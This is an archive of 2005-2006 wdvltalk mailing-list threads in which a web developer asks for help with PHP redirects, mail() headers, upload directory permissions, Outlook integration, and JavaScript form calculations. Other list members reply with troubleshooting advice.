Please include the email address which you have been contacted with.


[wdvltalk] test

2006-03-19 Thread steve miller

this is a test..seems like my posts are not getting through...


steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] wits end

2006-01-09 Thread steve miller
(sorry; been trying to send this for awhile, but the list kept 
rejecting the styled text...)



Guess what? A few blank lines at the top of the script were somehow 
making the script think that header info had already been sent!


I emptied the page except for:

header ("Location: index.html?xx=1");
exit();

and got this error:

"Warning: Cannot modify header information"

When I removed the blank lines, it worked!!

Wish I had thought of that yesterday :(

Thanks for the help,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] location: wits end

2006-01-09 Thread steve miller
Didn't work either. This must be one of those "staring me right in the 
face" problems that has to be something simple that I just don't see :(


No error messages; no nothing.


On Jan 9, 2006, at 11:57 AM, Dan Parry wrote:


Interesting

Header does prefer complete URLs (eg http://www.example.com/index.php)

Try that and see what happens

Dan
--

-Original Message-
From: steve miller [mailto:[EMAIL PROTECTED]
Sent: 09 January 2006 16:56
To: wdvltalk@lists.wdvl.com
Subject: Re: [wdvltalk] location: wits end

Hi Dan.

die() and exit() stop the script, but I am getting no re-direct to
index.html. If I echo out some placeholders, I find that the script
jumps over the header statement and then stops.

For example:

if($no==1)
{
echo "2";
header ("Location: index.html");
echo "3";
exit();
}


prints out 2 and 3, then quits with no re-direct. The thing that
puzzles me is that this same exact code works in some pages in the same
directory on the site, but not in others. What could cause that?

steve





 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] location: wits end

2006-01-09 Thread steve miller

No problem. Thanks for the thoughts.


On Jan 9, 2006, at 11:52 AM, Portman wrote:


PLEASE DISREGARD MY LAST E-MAIL!

Eek!

steve miller wrote:


Hi all.

I am at my wits end trying to figure out why the following php does 
not work:


switch ($no)
{
case "1":
echo "1";
header ("Location: index.html?xx=2");
echo "2";
break;
}

I set $no to equal 1, and the page will not re-direct to index.html. 
I also tried:


if($no==1)
{
header ("Location: index.html?xx=2");
}

and it will not re-direct either. If I try:

if($no==1)
{
header ("Location: index.html?xx=2");
break;
}

I get a fatal error about level 1 break/continue. The weird thing is 
that I am using this exact same stuff on other pages in this site and 
they work fine!


Any ideas on what to look for?

steve




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] location: wits end

2006-01-09 Thread steve miller

Hi Dan.

die() and exit() stop the script, but I am getting no re-direct to 
index.html. If I echo out some placeholders, I find that the script 
jumps over the header statement and then stops.


For example:

if($no==1)
{
echo "2";
header ("Location: index.html");
echo "3";
exit();
}


prints out 2 and 3, then quits with no re-direct. The thing that 
puzzles me is that this same exact code works in some pages in the same 
directory on the site, but not in others. What could cause that?


steve



On Jan 9, 2006, at 11:08 AM, Dan Parry wrote:


Try using the break inside switch cases but not in an if loop

Also try using die(); (or exit()) directly after the header() as this
prevents further script execution[1]

Dan
--

[1] Source: http://uk2.php.net/manual/en/function.header.php

-----Original Message-
From: steve miller [mailto:[EMAIL PROTECTED]
Sent: 09 January 2006 15:56
To: wdvltalk@lists.wdvl.com
Subject: [wdvltalk] location: wits end

Hi all.

I am at my wits end trying to figure out why the following php does not
work:

switch ($no)
{
case "1":
echo "1";
header ("Location: index.html?xx=2");
echo "2";
break;
}

I set $no to equal 1, and the page will not re-direct to index.html. I
also tried:

if($no==1)
{
header ("Location: index.html?xx=2");
}

and it will not re-direct either. If I try:

if($no==1)
{
header ("Location: index.html?xx=2");
break;
}

I get a fatal error about level 1 break/continue. The weird thing is
that I am using this exact same stuff on other pages in this site and
they work fine!

Any ideas on what to look for?

steve




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] location: wits end

2006-01-09 Thread steve miller

Hi all.

I am at my wits end trying to figure out why the following php does not 
work:


switch ($no)
{
case "1":
echo "1";
header ("Location: index.html?xx=2");
echo "2";
break;
}

I set $no to equal 1, and the page will not re-direct to index.html. I 
also tried:


if($no==1)
{
header ("Location: index.html?xx=2");
}

and it will not re-direct either. If I try:

if($no==1)
{
header ("Location: index.html?xx=2");
break;
}

I get a fatal error about level 1 break/continue. The weird thing is 
that I am using this exact same stuff on other pages in this site and 
they work fine!


Any ideas on what to look for?

steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] Training advice

2005-12-22 Thread steve miller

Hello skilled ones.

I have been working with a client for about a year or two as a php 
programmer for their web applications. Over time, one of their 
applications has unintentionally migrated into a rather large customer 
info management system (based on php/mysql), containing a lot of 
duplication of their in-house system (based on sql server). Their 
in-house system is all MS, using Outlook and other programs for contact 
and task management. They would now like to add the ability to access 
Outlook to the php application to access/create/manage the contacts and 
tasks.


I am guessing this involves knowing about COM and Exchange Server, but 
I know little about them. My question is: what types of 
courses/training should I look into in order to gain the skills 
necessary to handle their new stuff?


Thanks!
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] php mail()

2005-10-28 Thread steve miller
"User/Group"  was set to nobody(99)/99 and "sendmail_from" did have no 
value. However, just for info sake, I set 
$mailfrom="[EMAIL PROTECTED]" to $mailfrom="From: 
[EMAIL PROTECTED]" and all worked.


Thanks for the suggestions!


On Oct 27, 2005, at 10:10 PM, R'twick Niceorgaw wrote:


Steve,

On Thu, 2005-10-27 at 21:19 -0400, steve miller wrote:

Hi all.

Could use some help with php mail(). I am using this to send email, 
and

have having trouble getting the reply address right:

$mailto="$userstuff[3]";
$mailfrom="[EMAIL PROTECTED]";


set $mailfrom as
$mailfrom="From: [EMAIL PROTECTED]
\nReply-To:[EMAIL PROTECTED]";

(above line may be wrapped)

take a look at http://us3.php.net/manual/en/function.mail.php
Here's some information form the above page about the 4th parameter to
mail function (which you have defined here as $mailfrom)
---
additional_headers (optional)

String to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and 
Bcc).

Multiple extra headers should be separated with a CRLF (\r\n).

Note:  When sending mail, the mail must contain a From
header. This can be set with the additional_headers
parameter, or a default can be set in php.ini.

Failing to do this will result in an error message
similar to Warning: mail(): "sendmail_from" not set in
php.ini or custom "From:" header missing.

Note:  If messages are not received, try using a LF 
(\n)

only. Some poor quality Unix mail transfer agents
replace LF by CRLF automatically (which leads to
doubling CR if CRLF is used). This should be a last
resort, as it does not comply with RFC 2822.
---

HTH
-R'twick




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] php mail()

2005-10-27 Thread steve miller

Thanks! That makes some sense and gives me a good place to start.

steve


On Oct 27, 2005, at 9:49 PM, Mark Groen wrote:


- Original Message -
From: "steve miller" <>
To: 
Sent: Thursday, October 27, 2005 6:19 PM
Subject: [wdvltalk] php mail()



Hi all.

Could use some help with php mail(). I am using this to send email,

and

have having trouble getting the reply address right:

$mailto="$userstuff[3]";
$mailfrom="[EMAIL PROTECTED]";
$mailsubject="A status change on one of your layouts";
$mailbody="email stuff here";

mail($mailto,$mailsubject,$mailbody,$mailfrom);


When the email is received and viewed, the reply-to address is
"[EMAIL PROTECTED]" instead of "[EMAIL PROTECTED]". Where is
"[EMAIL PROTECTED]" coming from (a server setting?) and how do I

change

it?


It comes from your php .ini (config) file that in your case probably
says under "apache':
User/Group  nobody(99)/99 and under the PHP Core bit is:
sendmail_from - no value

What is probably happening is that you have no actual email address for
the user "do-not-reply" configured under the domain: "domain.com", so
php mail() is just using what is available instead, which is 'nobody'.
Most likely if you create a real email address for the script to
reference it will work, instead of messing with your php config. The
list tell you how to do that too if you feel brave, but you prolly
figured it out for yourself already :-)



and name the file phpinfo.php then ftp it over to your server to see
what you have running on your system to confirm.

hth!

cheers,

Mark



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] php mail()

2005-10-27 Thread steve miller

Hi all.

Could use some help with php mail(). I am using this to send email, and 
have having trouble getting the reply address right:


$mailto="$userstuff[3]";
$mailfrom="[EMAIL PROTECTED]";
$mailsubject="A status change on one of your layouts";
$mailbody="email stuff here";

mail($mailto,$mailsubject,$mailbody,$mailfrom);


When the email is received and viewed, the reply-to address is 
"[EMAIL PROTECTED]" instead of "[EMAIL PROTECTED]". Where is 
"[EMAIL PROTECTED]" coming from (a server setting?) and how do I change 
it?


Thanks,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] create Outlook task using php

2005-10-06 Thread steve miller

Thanks!


On Oct 6, 2005, at 9:53 AM, Mark Groen wrote:


- Original Message -
To: 
Sent: Thursday, October 06, 2005 6:37 AM
Subject: RE: [wdvltalk] create Outlook task using php


Does anyone have any good sources for how to create/manipulate Outlook

tasks

using php?



I doubt it since there is a good chance that the person running

Outlook will

not have any sort of PHP interpreter on their system.  However an

Outlook

group would be the best place to ask.


Think you are being blind sided by one being server driven and the  
other

being local. As long as the local Win box accepts the security, you can
use COM objects in PHP, (and other typed languages as well afaik), to
access the In and Outbox folders:

Here's a tute for PHP:

http://www.planet-source-code.com/vb/scripts/ShowCode.asp? 
txtCodeId=580&lngWId=8


More specific questions may get you a more explicit answer, but that
tute should show the path you need to take to get the ball rolling.

cheers,

 



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] permissions help

2005-10-06 Thread steve miller

Thanks Sheila.
I don't think they actually got to the upload script; I think they 
somehow found the open directory and posted the program directly. I'll 
check into .htaccess.


steve


On Oct 6, 2005, at 7:46 AM, Sheila Fenelon wrote:


steve miller wrote:

Patrick,
The php scripts run as "www" on the webserver, but the directories 
are owned by "steve" and I believe that group is "wheel". I don't 
really have access to be able to change all the file owners. The 
problem is that I need "www" to have "write" permission, which means 
that the whole web can do so as well. I have noticed that this same 
issue is present in popular opensource applications, like osCommerce, 
which is actually where I had the problem. Their images file needs 
"write" permission to receive new product images when you upload 
them. Someone installed a shell program in it!!
I have been advised that I may have to run php as a cgi in order to 
protect the directories...


On file upload you could use getimagesize()
http://www.php.net/manual/en/function.getimagesize.php
to check that the file is actually an image file.

As a second line of defense, you could use .htaccess on the directory 
so it doesn't allow files in that directory to run. I'd have to look 
up exactly how that's done.


Sheila
http://www.shefen.com/




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] create Outlook task using php

2005-10-06 Thread steve miller
Does anyone have any good sources for how to create/manipulate Outlook 
tasks using php?


Thanks


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] permissions help

2005-10-06 Thread steve miller

Patrick,
The php scripts run as "www" on the webserver, but the directories are 
owned by "steve" and I believe that group is "wheel". I don't really 
have access to be able to change all the file owners. The problem is 
that I need "www" to have "write" permission, which means that the 
whole web can do so as well. I have noticed that this same issue is 
present in popular opensource applications, like osCommerce, which is 
actually where I had the problem. Their images file needs "write" 
permission to receive new product images when you upload them. Someone 
installed a shell program in it!!


I have been advised that I may have to run php as a cgi in order to 
protect the directories...


thanks


On Oct 5, 2005, at 9:38 PM, Patrick G. wrote:


Hello steve,

Wednesday, October 5, 2005, 9:24:54 AM, you wrote:

sm> Hi all.

sm> I have several websites that have php upload scripts to allow a 
client
sm> to update photos on their sites. I upload the images, then copy 
them to
sm> appropriate directories from where they are served. I seem to have 
to

sm> set the permissions on these directories to 777 in order to get the
sm> images copies into them, but this exposes them to the outside 
world and
sm> creates a security problem. I have tried changing permissions to 
766,

sm> but the uploads don't work.

sm> I sure could use some guidance on what permissions to use, or how 
to

sm> get this secure and working.

Just a couple of quick thoughts?

What(who) are owner and group? Does group match who the web server
runs as?

HTH --
Patrick G.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] permissions help

2005-10-05 Thread steve miller

Hi all.

I have several websites that have php upload scripts to allow a client 
to update photos on their sites. I upload the images, then copy them to 
appropriate directories from where they are served. I seem to have to 
set the permissions on these directories to 777 in order to get the 
images copies into them, but this exposes them to the outside world and 
creates a security problem. I have tried changing permissions to 766, 
but the uploads don't work.


I sure could use some guidance on what permissions to use, or how to 
get this secure and working.


thanks!
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] refresh a php page

2005-04-17 Thread steve miller
Gotcha.
steve
On Apr 17, 2005, at 5:40 PM, Stephen Caudill wrote:
A page load is always a GET request.  By adding the true parameter 
tothe reload method, you're simply forcing the browser to retrieve 
afresh copy of the page from the server rather than reloading 
thecache.
- Stephen

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] refresh a php page

2005-04-17 Thread steve miller
Thanks Stephen.
The original page uses POST to send the variables. Is there a way to 
force a new HTTP POST instead of a GET?

steve

On Apr 16, 2005, at 8:46 PM, Stephen Caudill wrote:
Steve,
the reload method takes a parameter that forces a new HTTP 
GET...Typically you should only use this if the server has a new 
version ofthe file or disk and / or memory caches are off or broken.  
Here's thesyntax:
onunload=window.opener.reload(true);
hth,Stephen

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


[wdvltalk] refresh a php page

2005-04-16 Thread steve miller
I have a page that is loaded/created using variables sent to it from a 
previous page. On this page is a link to pop up another window, and I 
want to refresh the opener page when the popup is closed. I can get the 
page to refresh with onunload=window.opener.reload(), but the reloaded 
page is all messed up. It does not seem to reload with all the same 
variables that were originally sent. If I hit the browser refresh 
button, all works fine. Is there a way to mimic the browser refresh?

Thanks!
steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


[wdvltalk] nevermind

2005-04-14 Thread steve miller
Please ignore my earlier post about resizing windows...now it works 
with resizeble=yes...go figure!

steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


[wdvltalk] open window help

2005-04-14 Thread steve miller
I am using a pretty simple open window javascript like:
cwindow=window.open('create_census_excel_code.html','',  
'height=600,width=800,toolbar=0,menubar=0,location=0,directories=0,scrol 
lbars=1,resizeable=yes,left=10,top=10');

but IE6 Win won't open the window resizeable. I have tried  
resizeable=yes, resizeable=1, resizable=yes, resizable=1 and none work.  
I have even left it out so it will default to "yes", but no workie. Any  
ideas?

Thanks,
steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


[wdvltalk] Created Excel files

2005-03-10 Thread steve miller
Hi all.
I have created an Excel file using PEAR's Excel Writer. If I save the 
file to my web root (linux) and download it, it is fine. If I send the 
same file to my desktop using the browser, it is all garbled. Examples 
are here: http://www.dinnys.com/good.xls and 
http://www.dinnys.com/bad.xls. I am using the standard headers in Excel 
Writer to send the file:

function send($filename)
{
header("Content-type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=$filename");
header("Expires: 0");
header("Cache-Control: must-revalidate, 
post-check=0,pre-check=0");
header("Pragma: public");

header("Content-Length: ". filesize($filename));
readfile($filename);
}
Any ideas why the mess?
Thanks,
steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-09 Thread steve miller
Thanks for the help.
I know this does not look elegant, but it works!  :)
I was getting some NAN errors, so I put in a few more checks.
Thanks both,
steve

var i = 0;

while (document.getElementById("singles" + i) != null)
	{
		if(document.getElementById("single").value=='') 
document.getElementById("single").value=0;
		if(document.getElementById("hw").value=='') 
document.getElementById("hw").value=0;
		if(document.getElementById("pc").value=='') 
document.getElementById("pc").value=0;
		if(document.getElementById("fam").value=='') 
document.getElementById("fam").value=0;
		
		if(document.getElementById("singles"+ i).value=='') 
document.getElementById("singles" + i).value=0;
		if(document.getElementById("hws" + i).value=='') 
document.getElementById("hws" + i).value=0;
		if(document.getElementById("pcs" + i).value=='') 
document.getElementById("pcs" + i).value=0;
		if(document.getElementById("fams" + i).value=='') 
document.getElementById("fams" + i).value=0;
		
		
		
	document.getElementById("totmon" + i).value=
	parseInt(document.getElementById("single").value) * 
parseInt(document.getElementById("singles" + i).value) +
	parseInt(document.getElementById("hw").value) * 
parseInt(document.getElementById("hws" + i).value) +
	parseInt(document.getElementById("pc").value) * 
parseInt(document.getElementById("pcs" + i).value) +
	parseInt(document.getElementById("fam").value) * 
parseInt(document.getElementById("fams" + i).value);


		document.getElementById("totann" + i).value=
		parseInt(document.getElementById("single").value) * 
parseInt(document.getElementById("singles" + i).value) +
	parseInt(document.getElementById("hw").value) * 
parseInt(document.getElementById("hws" + i).value) +
	parseInt(document.getElementById("pc").value) * 
parseInt(document.getElementById("pcs" + i).value) +
	parseInt(document.getElementById("fam").value) * 
parseInt(document.getElementById("fams" + i).value)
	 * 12;
	
	
	i += 1;
	}



On Mar 9, 2005, at 4:09 PM, Howard Cheng wrote:
That wouldn't work, because document.getElementById() takes a string as
a parameter. By calling eval(), you're trying to convert the string
"singles1" into a Javascript variable, which will be null assuming it
hasn't been declared yet already.
Also, by changing it to a do-while loop, the first form element with 
"1"
in the ID would have to exist, or you'd get a null reference exception
when you try to access its properties ("Object expected" or whatever 
the
error message is).

Stephen Caudill wrote:
Steve,
I don't get a script error in IE or FF.  It works in IE(6) fine for 
me, but FF does not.  Looking at your script, in the function 
tallyUp(), you may try changing your element acquisition to use an 
eval...
instead of:
while (document.getElementById("singles" + i) != null)
{
...
i += 1;
}
}
see if this does it:
do
{
   var currSingle = eval("singles" + i);
   document.getElementById(currSingle);
   ...
   i+=1;
}
while(document.getElementById(currSingle);
This forces the browser to evaluate your derived variable, which 
should get FF stepping in line.  Of course to be able to eval it, 
you'll have to move your control logic to the end of the loop, which 
is what a do...while is good for.
hth,
Stephen
steve miller wrote:
Howard,
Could you possibly take a look at http://www.dinnys.com/create.html. 
This is a first shot at doing what you suggested, I think!
Please excuse the fact that things don't line up, but...

when I place a number in one of the four boxes in the second col, I 
get a script error that says that one of my ID'd boxes is not an 
object. It certainly is there on the page, but I must be referencing 
